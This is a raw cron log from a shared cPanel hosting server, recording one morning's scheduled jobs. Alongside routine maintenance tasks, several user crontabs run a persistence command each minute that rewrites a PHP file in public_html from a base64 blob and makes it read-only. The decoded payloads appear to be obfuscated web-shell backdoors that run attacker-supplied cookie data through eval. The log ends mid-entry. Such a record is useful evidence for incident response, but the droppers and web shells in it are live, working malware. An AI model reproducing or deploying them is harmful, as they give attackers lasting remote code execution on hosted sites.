Mar  1 07:50:02 medusa CROND[15223]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 07:50:02 medusa CROND[15224]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 07:50:02 medusa CROND[15227]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  1 07:50:02 medusa CROND[15206]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  1 07:50:02 medusa CROND[15229]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 07:50:02 medusa CROND[15222]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  1 07:50:02 medusa CROND[15217]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Mar  1 07:50:02 medusa CROND[15232]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 07:50:02 medusa CROND[15233]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 07:50:02 medusa CROND[15215]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  1 07:50:02 medusa CROND[15225]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  1 07:50:02 medusa CROND[15230]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Mar  1 07:50:02 medusa CROND[15239]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 07:51:01 medusa CROND[4193]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 07:51:01 medusa CROND[4315]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 07:51:01 medusa CROND[4314]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 07:51:01 medusa CROND[4316]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  1 07:51:01 medusa CROND[4317]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 07:51:01 medusa CROND[4318]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 07:51:01 medusa CROND[4320]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 07:51:01 medusa CROND[4322]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  1 07:51:01 medusa CROND[4323]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 07:51:01 medusa CROND[4326]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 07:51:01 medusa CROND[4321]: (revistaenergiaco) CMD (cd /home3/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  1 07:51:01 medusa CROND[4330]: (adminanalia) CMD (cd /home12/adminanalia/public_html/espo; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  1 07:51:01 medusa CROND[4335]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 07:51:01 medusa CROND[4333]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 07:51:01 medusa CROND[4337]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 07:52:01 medusa CROND[25282]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 07:52:01 medusa CROND[25283]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 07:52:01 medusa CROND[25284]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  1 07:52:01 medusa CROND[25285]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 07:52:01 medusa CROND[25286]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 07:52:01 medusa CROND[25292]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 07:52:01 medusa CROND[25293]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 07:52:01 medusa CROND[25294]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 07:52:01 medusa CROND[25295]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 07:52:01 medusa CROND[25302]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2V